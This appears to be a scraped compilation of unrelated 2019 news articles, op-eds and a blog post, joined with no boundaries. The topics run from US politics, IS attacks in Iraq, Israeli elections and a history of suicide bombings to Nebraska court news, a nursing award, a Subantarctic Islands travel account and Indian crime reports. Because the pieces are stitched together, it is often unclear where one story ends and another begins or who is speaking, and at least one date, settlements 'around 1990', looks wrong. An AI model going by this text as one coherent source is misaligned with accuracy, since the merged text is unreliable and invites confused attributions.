JP Morgan, Chase, and Wells Fargo. Biden has always been a favorite of Delaware-based financial and credit firms. His son even worked for MBNA, both as an employee and as a consultant. Bidens great poll numbers are the result of his great name recognition and his association with a popular ex-president. But Bidens debut did not give voters a reason to be more excited about him than any of the other candidates, the ones who promise real, substantial, and symbolic breaks from the past. More from National Review In the central province of Salahudin, IS militants attacked late on April 24 a joint checkpoint of the police and paramilitary tribal fighters in the town of Yathrib, some 70 km north of Iraq's capital Baghdad, Mohammed al-Bazi from the provincial police command told Xinhua. Two policemen and a tribal fighter were killed in the attack which also resulted in the injury of a policeman, al-Bazi said, adding the security forces launched a search operation in the area for the attackers. In a separate incident, three federal policemen, including a colonel, were wounded on April 25 morning in the northern province of Kirkuk when a roadside bomb exploded in al-Rashad area in the southwest of the namesake provincial capital, some 250 km north of Baghdad, Taha Ahmed from the provincial police told Xinhua. The security forces rushed to the scene and launched an investigation into the incident which is believed to be carried out by IS sleeper cells in the area, Ahmed said. The security situation in Iraq was dramatically improved after Iraqi security forces fully defeated the extremist IS militants across the country late in 2017. IS remnants, however, have since melted in urban areas or resorted to deserts and rugged areas as safe havens, carrying out frequent guerilla attacks against security forces and civilians. We attempted to send a notification to your email address but we were unable to verify that you provided a valid email address. Please click here to update your email address if you wish to receive notifications. Otherwise, you may click here to disable notifications and hide this message. Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. You have permission to edit this article. Edit Close It has been less than a year since the social media campaign #WhyIDidntReport gained traction, at the time when U.S. Supreme Court nominee Brett Kavanaugh was accused of sexually assaulting a number of women. But here we are with a blunt reminder of what happens when sexual harassment is entrenched in a political system - and it is thanks to none other than Prime Minister Benjamin Netanyahu. Follow Ynetnews on Facebook STRONG> and Twitter In the past few days we have seen Natan Eshel freely coming and going in the room where negotiations on forming a new government are being held. Eshel is Netanyahu's representative to these negotiations. Eshel was also convicted in a disciplinary court and banned from civil service by the Civil Service Commisser for taking so-called "upskirt" pictures of women in the Prime Minister's Office. And here he is, back in our lives and the corridors of power through the back door. Prime Minister Netanyahu and Natan Eshel (Photo: Tal Shahar) Similar criticism of his presence was made during the last coalition negotiations in 2015. This is not a marginal role. Eshel is a key negotiator for Netanyahu, helping to decide who takes key positions in the next government, its agenda and how it will shape our lives in the years until the next elections. Not least is the issue of how - or even if - the next government deals with deeply rooted gender discrimination, domestic violence that affects thousands of women, wage discrimination, the endless list of women who have been sexually assaulted and ignored by law enforcement and the exclusion of women from swathes of public life. What are the chances that Eshel - who saw women as nothing more than a tool for his personal pleasure - will also worry to deal with such issues? The answer seems clear. Dr. Christine Blasey Ford, who accused Brett Kavanaugh of assault (Photo: AFP) What are women (and no few men) who were sexually assaulted supposed to think and feel when their prime minister honors a person like Eshel? How can a system in charge of eradicating sexual violence to be trusted? When at the top of the pyramid sits someone who embraces another already convicted(!) of such behavior? When by doing such a thing Netanyahu seems indifferent to the humiliation and pain inflicted on women who have been victims of sexual assault. The #MeToo campaign launched about a year and half ago exposed the full extent of sexual assault in Western society a plague affecting almost every woman - and demanded a firm stand against it. A lot has been said about the need to find a solution to deal with the complaints, to change the attitude of law enforcement officials towards the victims and to put an end to the grim reality in which most women prefer not to complain because they do not believe justice will be served. The women who launched the #MeToo Campaign on the cover of Time Magazine Yet there is one other thing that needs a systematic overhaul: the politicians who set the agenda and are supposed to be the epitome of morality for millions of people, need pursue zero tolerance to sexual assault and harassment. They should not open the door for people like Eshel in the public sphere. They need to stop excusing, turning a blind eye, saying "it's not that bad," worrying about the future of offenders, and start caring for the welfare of their victims. This is the only way our society has a chance to heal itself of this plague, and make our private and public spheres safer, less violent and more equal. There is no better way to start than with a good example set by the prime minister. Natan Eshel needs to be booted out of politics, once and for all. The Easter Sunday attacks in Sri Lanka are a bloody echo of decades past in the South Asian island nation, when militants inspired by attacks in the Lebanese civil war helped develop the suicide bomb vest. Follow Ynetnews on Facebook STRONG> and Twitter Government ministers have said seven Sri Lankans from a little-known local group carried out the six nearly simultaneous bombings at churches and hotels on Sunday that killed more than 300 people and wounded about 500. While little else was known about the group or their motives, Sri Lankas Tamil Tiger fighters used suicide bombings in the countrys 26-year civil war before being wiped out by government forces. The sites hit in the Easter Sunday bombings in Sri Lanka Similar bombs would then detonate across Israel, wielded by Palestinian militants, and later across the wider Middle East, Africa and Europe by Islamic extremists in the wake of the Sept. 11, 2001 attacks. Such attacks strike fear around the world because of their indiscriminate slaughter of civilians, like those eating breakfast at a hotel or worshipping in a church on Easter. Sundays assault also raises questions about whether the perpetrators had help or experience from abroad. I call today the age of the suicide bomber. This is very much a time of extreme acts that have to, in a way, usurp the previous attacks, said Iain Overton, executive director of the London-based group Action on Armed Violence, who wrote a book on suicide bombings. They have to be much more devastating, more impactful, more hurtful, to get as much media headlines as possible. The aftermath of the suicide bombing at the Park Hotel in Netanya on Passover 2002 tha killed 30 people (Photo: Shaul Golan) Experts put the first modern suicide bombing in 1881, when a radical killed Czar Alexander II of Russia. What may be the first photographs of a suicide bomb vest came in the 1930s, when China used them in its war against Imperial Japan. Japanese kamikaze pilots turned their own planes into weapons. But the shock of the suicide bomber only struck the minds of many in the West in the 1980s with Lebanons civil war. Suicide truck bomb attacks struck both the U.S. Embassy in Beirut, killing 63 people, and later U.S. Marine and French barracks, killing 231 American troops and 58 French soldiers in the bloodiest day for the armed forces since World War II. The U.S. later would blame the Shiite militant group Hezbollah, which formed out of Lebanons civil war, and Iran for the bombings. Both deny involvement. At that time, however, a small contingent of Tamil fighters was receiving weapons training in Lebanon and took what they learned back to Sri Lanka, Overton said. Their first suicide attack, in which a bomb-laden truck drove into a Sri Lankan army barracks and killed 55 people in 1987, resembled the U.S. Marine barracks attack. St. Sebastian church after a bombing on Easter Sunday (Photo: AP) Over 26 years of civil war, the Tamil Tigers would launch more than 130 suicide bomb attacks, making them the leading militant group in such assaults at the time. They killed a Sri Lankan prime minister and a former Indian prime minister, among others, including bystanders. The war ultimately ended in 2009 with the government crushing the Tamil Tigers, with some observers believing that tens of thousands of Tamils died in the last few months of fighting alone. But while the Tamils were secular nationalists, Islamic extremists in the Middle East would embrace the suicide bomb as a weapon. By the 1990s, Palestinian militants from both Hamas and Fatah would use suicide bombs against Israel. Then al-Qaida under Osama bin Laden would employ them against U.S. embassies in Kenya and Tanzania, and later against the USS Cole off Yemen. Then came Sept. 11 and the U.S.-led invasion of Afghanistan. Up until then, there were some 350 suicide attacks worldwide from 1980, said Robert A. Pape, a political science professor at the University of Chicago who directs the schools Chicago Project on Security and Threats. Funerals for the victims of the Easter Sunday bombings (Photo: Reuters) The U.S. war in Iraq followed, fueling bloody sectarian violence that put Iraq on the brink of civil war. Suicide bombers pounded the country. An al-Qaida branch there would morph into the Islamic State group, which would launch its own suicide attacks around the world. Today, the number of suicide attacks since 1980 is around 6,000, Pape said, with around half in Iraq and Syria alone. When we invaded and conquered Iraq, we touched off the largest suicide terrorist campaign in modern times, he said. Sri Lankan authorities have blamed a local Islamic group, National Thowfeek Jamaath, for the Easter attacks. However, there is no recent history of Muslim extremist attacks in Sri Lanka, a predominantly Buddhist island nation off the southern tip of India. Nor was there any explanation for how a group previously not known for violence could engineer such a massive attack, which experts said resembled an assault by the Islamic State group or al Qaeda. The alleged IS bombers behind the Easter Sunday terror attacks What they are seeking to push is this ISIS mantra, which is We love death more than they love life, Overton said, using an alternate acronym for the militant group. It is the icon of a death cult. The Islamic State group claimed responsibility for the Sri Lanka attack via its Aamaq news agency on Tuesday. The group, which has lost all the territory it once held in Iraq and Syria, has made a series of unsupported claims of responsibility. Since it lost all its territory, theres been more concern among nations about foreign fighters returning home. Sri Lankas justice minister told parliament in 2016 that 32 Muslims from well-educated and elite families had joined the Islamic State group in Syria. Its unclear what happened to them. There werent many, but there dont have to be many, Pape said. A theory circulating around, tries to explain why "the poor voted Likud." This is problematic because it is an attempt to explain something that is not true. Follow Ynetnews on Facebook STRONG> and Twitter The poor in Israel did not vote Likud. The middle class that saw a rise in their standard of living and their social status over the past decade, voted Likud Benjamin Netanyahu (Photo: Yoav Dudkevitch) The poor voted for the ultra-Orthodox and Arab parties. Why do poor people vote for ultra Orthodox parties, when those try their best to keep them poor, is an interesting question in sociology - one I do not assume to know the answer to. People ascribing to this theory use the southern town of Sderot and the northern town of Kiryat Shmona as validation. They must not have visited these places lately. Sderot, despite the ongoing Gaza conflict on its doorstep, is a city on the rise. In Kiryat Shmona, Netanyahu recently opened a new medical center which is seen by the local community as progress. Other theories tie poverty, a Mizrahi family origin (Arab countries and North Africa) and the Likud. Likud's recently re-elected leadership is neither. Likud voters see the party, as able to look out for their needs, as it had for the past 10 years. That is why they are Likud voters. Likud celebrates election win (Photo: Getty Images) These are considered and well thought decisions, reflective of their interests. Emotional voting occurred on the other side, among the voters of the Blue and White party. These voters did not demand to see a political platform before voting. They did not demand to see the economic platform either. Nor did they receive a program to deal with infrastructure in, advance. They heard just "Anyone but Bibi" and that was enough for them to cast their vote. You could say voting for the Blue and White Party was an expression of concern over the future of Israel's democracy, especially in regards to its judicial system, which is under constant threat from Netanyahu and his cronies, but this would miss the point. The 2019 election results can be seen as a vindication of Netanyahu by a majority of voters. Israel's law and order establishment is under attack, so the early release of impending charges against Netanyahu should not have been made public before the elections, when millions voted to keep him in power despite them. The Passover Haggadah has been read in a format familiar to our contemporaries for over a thousand years. Follow Ynetnews on Facebook STRONG> and Twitter When it comes to the custom of the Passover Seder, almost all Jews are observant, even though following it requires considerable effort. The stomach rumbles along as hours of prayers are recited, although many are beyond the comprehension of the average listener. A table laid for Seder night (Photo: Shutterstock) Few are able to even utter even a complete verse without making any mistakes. The songs do make it a little easier, although the familiar melodies are often at odds with the number of syllables a combination that demands an ability to perform linguistic gymnastics as well as sing. The message contained within the strange text is somewhat fuzzy. It is often said that it is a pedagogic exercise whose function is to kindle the desire for freedom from the recollection of the agony of servitude. And what in this instance qualifies as freedom? According to the Haggadah, it has nothing to do with freedom of thought - on the contrary, it is to strengthen and adhere to the doctrine of faith in God. The Haggadah is about a release from hard labor that is followed by voluntary enslavement to the whims of God. It is not the slaves of pharaoh who initiated a rebellion it is the shadowy force that sits in the heavens and plays "masters and slaves" like a puppeteer. Moses, the great rebel and leader of the people of Israel, whose wonderful image so captures the imagination in the Torah, is not mentioned in the Haggadah even once. There is no doubt that the Haggadah is not a politically correct text. The participants in the Seder are directed to rejoice in the suffering of the Egyptians and to dab drops of wine that are reminiscent of blood. It is contrary to the teachings of the Book of Proverbs: "Do not rejoice when your enemy falls, and let not your heart be glad when he stumbles". And it is contrary to the Sanhedrin story of how God reproaches His angels at the demise of the Egyptians: "My handiwork is drowning in the sea, and you are singing." Yet it was this schadenfreude that was expressed last week by Rabbi Shlomo Aviner, a famed and respected clergyman in Israel who had perhaps allowed the spirit of the holiday to sway his mind a little. Notre Dame on fire (Photo: AFP) (Photo: AFP) Answering questions about the terrible fire at Notre Dame Cathedral in Paris, he replied that a rabbi must faithfully adhere to the truth and he would therefore not express sorrow over the sight of a church in flames, although non-Jews might see that very sentiment as provocation. Is it advisable to set churches on fire? The answer apparently is that Jews are exempt from setting fire to churches abroad, but not in Israel. In fact, we are commanded to burn churches in Israel, but it is not worthwhile to fulfill this commandment, lest we must rebuild the burnt-out church, which is a graver sin than leaving it in its ruined state. Rabbi Shlomo Aviner So really, Rabbi Aviner should be commended for his thorough treatise on the "pros and cons of setting fire to churches." It really is a joyous festival for Jews. A former U.S. Army sharpshooter with a history of post-traumatic stress disorder plowed his car at high speed into a group of pedestrians in a Silicon Valley suburb, injuring eight people, then told authorities that he intentionally hit them, police said. Isaiah Joel Peoples, 34, gave no indication why he targeted the group in Sunnyvale, California, authorities said. He was being held Thursday on eight counts of attempted murder. Four of the pedestrians remained hospitalized, including a 13-year-old girl who was in critical condition. Peoples was scheduled to appear in court Friday. Turkey is trying to convince the United States to allow refiner Tupras, its biggest oil importer, to continue buying crude oil from Iran free of sanctions, Foreign Ministry spokesman Hami Aksoy said on Friday. Last year, Washington announced sanctions against buyers of Iranian oil, granting eight countries, including Turkey, waivers for six months. It said on Monday it will not renew those waivers and demanded that buyers stop purchases by May 1 or face sanctions. Iran is one of the biggest oil suppliers for Turkey, which is almost completely reliant on imports to meet its energy needs. The U.S. decision damages regional cooperation and Turkey's trade relations, Aksoy said during a press conference on Friday. "Tupras is following the subject closely. The characteristics of their refineries are suitable for Iranian oil. We are trying to convince the U.S.," he said, responding to a question about whether the refiner will continue buying crude oil from Iran. Ties between the NATO allies have been strained lately over Turkey's push to purchase Russian S-400 missile systems, which Washington says could compromise its F-35 fighter jets, and over differences in policy in Syria. The Lebanese al Akhbar newspaper, identified with the Hezbollah terror organization, reported Friday that UNIFIL, the United Nations Interim Force In Lebanon, has doubled its daily patrols in southern Lebanon under U.S. and Israeli pressure. According to the report, patrols are aimed at areas near the Israeli-Lebanese border, and areas where Hezbollah are thought to store weapons and rockets. U.K. opposition leader Jeremy Corbyn has declined an invitation to a state dinner with Donald Trump during the president's visit to Britain in June. Labour Party leader Corbyn said Friday that the government "should not be rolling out the red carpet for a state visit to honor a president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric." Corbyn said he'd be happy to meet with Trump, however. Trump's long-delayed state visit is scheduled for June 3-5, almost two-and-a-half years after Prime Minister Theresa May extended the invitation. He is only the third president, after George W. Bush and Barack Obama, to receive a full state visit, which typically features ceremonial greetings, a horse-drawn carriage ride and a banquet with the queen. A 39-year-old Israeli tourist was arrested in Italy on Thursday after security guards in the capitals main historic attraction -- the Roman era Colosseum -- caught her inscribing her initials on the ancient monument. According to the Italian news agency ANSA, Italys state attorney is discussing the case. YORK Andrew Hill, 41, of Geneva, was arrested on his way to York County District Court this week while a bench warrant was being issued due to his failure to appear. Hill was to be in court for first appearance on allegations that he violated the terms of his post-release supervision after being incarcerated for felon in possession of a deadly weapon. When he was sentenced for that case, last October, his criminal history was highlighted by the prosecution. York County Attorney Christopher Johnson told the court Hills criminal history is long starting back in 1993 and he was on probation for another conviction when the weapon charge was filed. At the time of that last sentence (in October), Judge James Stecker also pointed out that Hill has had 29 convictions for which he has been incarcerated. Hill was sent to jail and ordered to two years of post-release supervision. When he didnt show up for court this week, Johnson asked for a bench warrant. Shortly after making the request, Johnson was informed that Hill was currently having law enforcement contact. Judge Stecker issued a bench warrant and set bond at $100,000, 10 percent. Another capital improvement issue involves the fire station itself. Chief Lloyd has suggested that an engineering firm, familiar with fire station needs and design, be hired to do a physical assessment of the current fire station, because it is starting to show its age. The station was opened in 1969 as a combination police and fire station. All the changes and renovations done to the station after the police moved out to the city offices were done by the firefighters. An assessment from an engineering firm would give us an objective baseline of the condition of the facility and a report of what would be needed to bring it to current standards and meet the needs going forward. In 2017, a mechanical engineer and an architect gave a courtesy walk-through the building. They shared concerns over some of the structural conditions and the electrical system. Neither of them had even heard of the manufacturer of the electrical panels and cautioned adding anything to the electrical system. We took it another step and its kicking off an employee challenge, said Brenda Kowalski, York General Live Well coordinator. Members of the Live Well committee were on-hand to keep track of laps around the hospital campus. For each lap, $1 will be donated to Nebraska flood relief, Kowalski explained. The ultimate goal, she said, was for the company to do 1,000 laps total. Our hospital is also using this day to kick off a Walk Across Nebraska employee challenge where teams of 3 to 5 participants will walk the equivalent of 465 miles from Scottsbluff to Omaha from April 24 to May 31, Kowalski said. Along the Scottsbluff-to-Omaha trail are checkpoints. It is 122 miles from Scottsbluff to Ogallala, for example; once a team reaches the 122-mile checkpoint, they have hit that goal and get to move on to the next leg of the challenge. Teams keep track of each checkpoint on a sign-in sheet, which also offers interesting facts about the communities featured. GCC FORESTRY Technology students Lexie Voight, left, Casey Kemppainen, Savannah Westie and Eric Olsen show a group of middle school students how growth rings tell a story about a tree's lifecycle during a STEAM activity nature hike. By BRYAN HELLIOS [email protected] IRONWOOD - Middle school students excitedly participated in hands-on experiments with college students during Gogebic Community College's Science, Technology, Engineering, Art/Design and Mathematics event Thursday morning. Serena Mershon, chemistry professor at GCC, said the bi-annual STEAM project started out with college students visiting local schools. With help from Larry Gabka, a former biology instructor, the traveling project was transformed into an event at GCC. "It turned into this, she said. "Originally Science Fun Day and now it's the... Our directory features more than 18 million business listings from across the entire US. However, if we're missing your business, add your business by clicking on Add Your Business. VILLANOVA, Pa.Suzanne C. Smeltzer, RN, EdD, ANEF, FAAN, the Richard and Marianne Kreider Endowed Professor in Nursing for Vulnerable Populations and director of the Office of Nursing Research and Evaluation at Villanova Universitys M. Louise Fitzpatrick College of Nursing, has been selected as an honoree of Sigmas 2019 International Nurse Researcher Hall of Fame based on the significant impact her research has made on the nursing profession. International Nurse Researcher Hall of Fame honorees will be honored at Sigmas 30th International Nursing Research Congress, July 25-29, 2019 in Calgary, Alberta, Canada. An internationally known advocate for health care access and quality care for people with disabilities, Dr. Smeltzer has brought attention to the need for the nursing profession and nursing faculty to prepare undergraduate and nurse practitioner students to provide high quality and sensitive care to people with disability. For the last 30 years, Dr. Smeltzer has focused her research, education and service-related endeavors to addressing the health-related needs of people with disabilities and the education of health professionals to better care for people with disabilitiesa vulnerable population that is often underserved and whose needs are frequently ignored. Dr. Smeltzer has a consistent record of publication of her research in high-impact nursing and interdisciplinary journals. She has presented her research at numerous national and international conferences and is a highly sought-after speaker on the topic of care for people with disabilities. Additionally, she has been a member of several national task forces devoted to improving the education of health care providers about health care of people with disabilities. Dr. Smeltzers scholarly efforts have included directing the Health Promotion for Women with Disabilities project which was supported with five years of funding from the Bristol-Myers Squibb Foundation, where College of Nursing faculty conducted studies and participated in educational programs for women with disabilities. She was instrumental in securing a grant from the Health Resources Services Administration (HRSA) to develop educational materials for nurse practitioner programs. These materials, Caring for People with Disabilities: The Nurse Practitioner Toolkit, were distributed to graduate nurse practitioner programs nationwide and have been widely used nationally. She was active in integrating experiences with standardized patients with disabilities into the clinical simulation experiences for both undergraduate and nurse practitioner graduate students so that all undergraduate students, as well as nurse practitioner students, have had opportunities to interact with people with disabilities and learn how to communicate and care for them. This experience was evaluated highly by the students and attributed to increasing their comfort, communication skills and expertise in caring for patients with disabilities. The model has received national recognition. Dr. Smeltzer led a team of College of Nursing faculty to obtain support from the National League for Nursing (NLN) to develop the Advancing Care Excellence.Disability (ACE.D) program to extend the Advancing Care Excellence series to include people with disabilities. ACE.D is available free and online through the NLN website to any nursing faculty member interested in following Villanovas example in addressing the health issues and nursing care needs of this vulnerable population. She currently serves as a co-investigator for a research grant examining the health needs and barriers to perinatal care for women with mobility disabilities, funded by the National Institute of Child Health and Human Development, NIH. Dr. Smeltzer has received national recognition for her work. In 2016, she received the American Association of Colleges of Nursings Nurse.comGannett Foundation Lectureship Award for Diversity, Inclusion and Sustainability in Nursing Education. Her work led to the College of Nursings receipt of the American Association of Colleges of Nursings 2016 Innovations in Professional Nursing Education Award for the Standardized Patients with Disabilities program. Among her other accomplishments, Dr. Smeltzer is a talented mentor and advisor to doctoral students and faculty. She consistently includes other faculty and students in her research and is generous in sharing the publication spotlight with them. She is a grant reviewer for NIH and other agencies and organizations, and reviews manuscripts for numerous nursing and other health-related journals. She chairs the Universitys institutional review board and serves on a variety of University and College committees and task forces. Dr. Smeltzer earned her Bachelor of Science in Nursing degree from St. Louis University, her MS from Texas Womens University and her EdD from the University of Pennsylvania. Sharing is caring! 215 shares Share 208 Tweet Pin 7 Far off from the bottom south coast of New Zealand headed towards Antarctica, the Subantarctic Islands are about as remote and untouched as you can get, and quite possibly the coolest place youve never heard of. Uninhabited, wild and full of birds, its obviously paradise for me. This past Christmas I swapped my usual yuletide festivities for a soviet-era Russian research ship and blank journal (no wifi at the bottom of the world) and headed due south with Heritage Expeditions, pretty much the only way you can get down there. Huge seabird colonies and bright flowering megaherbs combined with quite possibly the worst weather on planet earth, make New Zealands Subantarctic Islands a VERY unique place. Combined with a human history that includes Polynesian seafarers, European sealers, castaways, wartime coast-watchers, scientists and failed farmers (honestly, who would think you could farm here?) makes the Subantarctic Islands FASCINATING. Made up of five island groups in the Southern Ocean southeast of New Zealand, the Subantarctics lay between the Antarctic and Subtropical Convergences. The Snares (smallest in area and closest to the mainland) Bounty Islands (mostly barren rock, and have no beaches or easy landing points) Antipodes Islands (the most distant from the mainland) Auckland Islands (the largest group, with the longest human history) Campbell Island (the furthest south) Macquarie Island (technically part of Australia but geographically falls in the same region) Along with my friend Talman, we headed south to the subantarctic with local kiwi company Heritage Expeditions on their Galapagos of the Southern Ocean trip last December, which included the highlights Snares, Auckland Islands, Macquarie Island and Campbell Island (my fave). Home to incredible biodiversity, these islands are a forgotten paradise for nature lovers. Offering some of the most unique plant and wildlife on earth, theyre also a key nesting place for about five bajillion penguins. Oh, and seabirds. Lots and lots of rare seabirds. My fave. But if birds dont do it for you, get this all the Subantantartics (or Subbies by expedition guides/DOC staff) have the highest possible conservation status they are National Nature reserves as well as UNESCO World Heritage Status, meaning they are literally, officially, one of the best places in the world to visit. And yet, few people know about them. The subantarctic region is definitely one of the worlds best-kept secrets. Heres my first blog and introduction to this incredible place. Enjoy! The Snares The northernmost set of Subantarctic Islands, The Snares sit roughly 100 kilometers to the south-west of Stewart Island, or basically just far enough to feel like youre truly screwed if anything happens. Discovered in the late 1800s by the Brits, The Snares are bordered by steep cliffs and choppy seas. Interestingly no land mammals were ever established here meaning the flora or plant life is in pristine condition. Its also the only subantarctic island where we visited where we couldnt actually land (no one is allowed), rather we had to zodiac cruise around and explore by sea, which was fine by me! I cant even imagine walking a foot in that dense bush. One of the great thing about doing guided expedition trips is that often the guides have a lot of experience in the areas we visit, and one of our guides on this trip actually worked a fair bit down on the Snares with Department of Conservation and had some amazing stories to share! Eighty percent of the island is covered in giant tree daisy forest, some of it reaching up to five meters in height. Theres also about a million different species of lichen and moss, plus three different types of herbs found nowhere else in the world. I cant tell you how amazing it is to be looking a type of plant that is literally the only one of its kind. I mean, thats amazing, right? Now, the birds. As there are no introduced predators to eat them, The Snares has a thriving bird population, including several endemic to the island. Nestled into the sides of the steep surrounding cliffs, hundreds share this island with only the wind and seals for company. Youll see mostly Shearwaters, crested penguin and petrels but if youre lucky you may spot an albatross or two. The Auckland Islands The largest of all the Subbies, the Auckland Islands are nowadays uninhabited, but settlements were attempted in and around 1990. In many ways it reminded me a bit of the Falkland Islands, with no Land Rovers. Both wild and beautiful, this wind-worn landscape offers the last glimpse of vegetation before you hit Antarctica. Thanks to introduced predators, much of the islands foliage has been eroded, but measures have been put in place to rehabilitate the native flora and eliminate pests. While red rata blooms bright in the warmer months, megaherbs dominate the landscape can you imagine walking through a field of supersized purple broccoli? Yeah, its weird but magical. It was so gusty as we walked through these meadows to visit an albatross colony I about blew over. The Aucklands are also a protected marine reserve. They provide sheltered breeding grounds for southern right whales and New Zealand sea lions of which there are only 10,000 left in the wild making them some of the rarest on earth. Unlike fur seals, they readily charge you, so were told to be on our guard. Of course, they are also an oasis for mammals of the winged kind many seabirds rest and nest on its shores before taking flight again. Macquarie Island While most of my fellow passengers were puking their brains out on the journey down to Macquarie Island, My face was glued to my portal eagerly watching for seabirds heralding land getting really excited. Similar to South Georgia, for many Macquarie is the jewel of the trip because of its immense penguin colonies and feisty elephant seals. Fellow bird nerds take note if you want the penguins and the seabirds and the wild antarctic weather without actually going to Antarctica, Macquarie is where its at. At first glance you would be forgiven for being a touch nervous. Towering cliffs give way to turbulent seas, howling winds and about a million penguins. Oh, and the delightful stench of a million penguins. I loved it immediately. The furthest isle from New Zealand on this trip, it sits halfway between here and Australia and is home to a permanent Australian research base, the Macquarie Island Station. Researchers take year-long posts monitoring the wildlife including the resident albatross population, petrel colony and of course, the penguins. Giant elephant seals are also abundant here, mixing seamlessly with the resident fur seal and penguin population. While on the other subantartics, everything is supersized, on Macquarie everything is super small. Foliage rarely grows over one meter, testament to the severe weather conditions. We first visited the Australian research base on Macquarie, getting a tour of the area and exploring around the base in the pouring rain. It was moody and mysterious and really wild, I loved it. Especially being chased by the baby elephant seals called weaners as they have just been weaned from their mothers. Hardly baby sized this things guys massive! Our other main landing at Sandy Bay we lucked out massively with incredible weather, blue skies and sunshine and no wind, it was almost hot! Unusual in this part of the world where the climate can only be described as shit awful we certainly made the most of it! Campbell Island Our final stop was Campbell Island, which turned out to be my absolute favorite of them all! Of all the forgotten Subantarctics, Campbell Island has been affected the most by human civilization. It has a dark past, once home to both sealing and whaling operations in the late 1800s which nearly eradicated the entire population of fur seals. It was then turned into a sheep farm (seriously sheep are like the hardiest of animals, literally every remote island I go to has had sheep at one point or another!) before being abandoned during the great depression. Hello wild sheepies! We all know how much I love mountains, and Campbell definitely delivers! Its jagged peaks shelter a large colony of nesting southern albatross *jumps for joy* while harsh weather conditions have produced a unique display of megaherbs and giant flowers. Its kind of like being inside jurassic park. With birds. Its also where I got up close with light mantled sooty albatross which are one of my favorite seabirds. Theyre so beautiful! Campbell is also home to the worlds most remote tree, a Sitka Spruce thought to be over 100 years old. And if you know much about New Zealands current conservation programs, this is an invasive species but it cant regenerate without another tree, so theyve left it to be instead of killing it. That Campbell Tree. There was just something about Campbell Island that I really loved, and it really resonated with me. From the incredible flowering purple Pleurophyllum to the stunning albatross colonies and rugged peaks, its beauty was unparalleled. My few precious weeks spent on the ship exploring this part of the world with Heritage Expeditions reinforced the idea Ive had in the back of my mind for a while now: this is where I want to be. I love it down here, I love the wildness and unpredictability of it all. I love being offline. Its a pretty special place that should be at the top of everyones bucketlists who adore nature. Have you heard of these islands before? Is this the kind of trip youd be keen to join in on? Share! Many thanks to Heritage Expeditions for taking me to the Subantarctic Islands like always, Im keeping it real all opinions are my own like you could expect less from me! Srinagar: The Election Commission (EC) has called a high-level meeting in New Delhi on Friday to discuss possibilities of holding the Assembly poll in Jammu and Kashmir, which is presently under Presidents rule. An official told Greater Kashmir that the States Chief Secretary BVR Subrahmanyam, Chief Electoral Officer Shailendra Kumar, Director General of Police, Dilbag Singh and Home Secretary Shaleen Kabra would meet the EC team to discuss the feasible time to conduct Assembly election in the state. The EC would seek their feedback on different poll-related issues and options given by its special observers before taking a final call on the matter, the source said. The meeting is taking place eight days after the special observers, appointed by the EC to asses the ground situation, submitted their report. When contacted EC spokesman, Sheyphali Sharan, said the report of observers is under examination. In their report, the observers have given three options to hold Assembly polls in the state, which is without an elected government for the past 10 months. The source said the first option given by the observers is to hold an election between June 8-24, another alternative is to conduct the election from May 15-June 15. The third option is to hold the Assembly poll after September 15. The EC had appointed Noor Muhammad (former IAS officer), Vinod Zutshi (ex-IAS officer) and AS Gill (retired IPS officer) as special observers to assess the situation in the state. Immediately after their appointment, the observers visited the state. They held meetings with representatives of political parties, government officials and other stakeholders during their five-day stay in the state. The observers had submitted their report to the poll-body last week. It may be recalled that the state had plunged into a political crisis on June 19, 2018, after the Mehbooba Mufti-led coalition government collapsed following withdrawal of support by the BJP in the state. The state had then come under Governors rule. On November 21, the State Assembly was dissolved after Peoples Democratic Party (PDP) and Peoples Conference staked separate claims to form a government in the state. After the six-month period of Governors rule ended, J&K was placed directly under the Presidents rule. As per Supreme Court ruling, the EC has to initiate steps for conducting the election within six months in case of premature dissolution of Assembly. So in case of J&K, the EC has to initiate steps for holding poll before May 20. New Delhi: Bollywood actor Shahid Kapoor is all set to set the silver screens ablaze once again with 'Kabir Singh'. The film's teaser unveiled recently and left everybody in awe. The powerful, one-minute long teaser gave a glimpse into Shahid's character and fans have since then been excited to know more about the film. In a media interaction, Shahid revealed that the trailer of Kabir Singh will be out in May. Hindustan Times quoted Shahid as saying, Trailer (of Kabir Singh) will be out in May. We were thinking whether we should put out a teaser or not, The actor further added, When we saw the teaser, we were very happy with it so, we just said lets go and put it out. So, the right time for the trailer will obviously be five weeks before the release of the film. I feel the trailer will come out in the second week of May and then the film will be out one month after that, 'Kabir Singh' is the remake of Telugu blockbuster 'Arjun Reddy'. It was in November 2018 that Shahid had shared his first look from the film, leaving fans intrigued and excited. The film is helmed by Sandeep Vanga, who also directed the original 2017 Telugu blockbuster. It stars Kiara Advani as the female lead and is slated to hit the screens on June 21, 2019. A UK court on Friday rejected the bail application of fugitive diamond merchant Nirav Modi who will now remain in custody till May 24. This is the third time that Nirav's plea for bail has been rejected. Previously, on March 20, during Nirav's first hearing, the District Judge Marie Mallon denied him bail and he is in the custody since then. He was arrested by Scotland Yard officers from a central London bank branch on March 19. Nirav's defence team has been working overtime to secure his release, including referring to his pet dog. All efforts have so far been in vain. On Friday, the Crown Prosecution Service (CPS), arguing on behalf of the Indian authorities, once again stressed that Nirav posed a significant flight risk and was also likely to further intimidate witnesses and destroy evidence if he were released. The prime accused in the 2 billion (Rs 13,500 crore) PNB fraud case, 48-year-old Nirav will remain at the Wandsworth prison in south-west London, considered one of UK's most notorious jails. New Delhi: A 23-year-old man was killed and three others were injured after their car rammed into a divider at the Signature Bridge on early Thursday, police said. The four friends -- Ashish, Rishabh, Yash and Vishal -- had gone for a ride in their car at the Signature Bridge. Ashish, who was driving the car, lost control over the vehicle and the car rammed into a divider at the bridge, police said. Ashish was rushed to the Trauma Centre Civil Lines, where he was declared brought dead by doctors while Vishal's condition was stated to be critical. Rishabh and Yash sustained minor injuries, police said. After conducting the postmortem, the body was handed over to the family members, they said. A case under appropriate sections was registered and a probe was underway, police added. New Delhi: Rohit Shekhar Tiwari's wife Apoorva Shukla, arrested in connection with his murder, was on Friday sent by a Delhi court to 14-days judicial custody. This comes after the police today informed the court that they do not require her custodial interrogation anymore. Apoorva was arrested on April 26 on charges of killing Rohit, citing a 'turbulent' marriage as the motive. A lawyer practising in the Supreme Court, she was questioned in connection with the case since last Sunday. Rohit Shekhar, the son of the late veteran politician ND Tiwari, was smothered to death on the intervening night of April 15-16, an autopsy report said. A police officer, speaking to news agency PTI 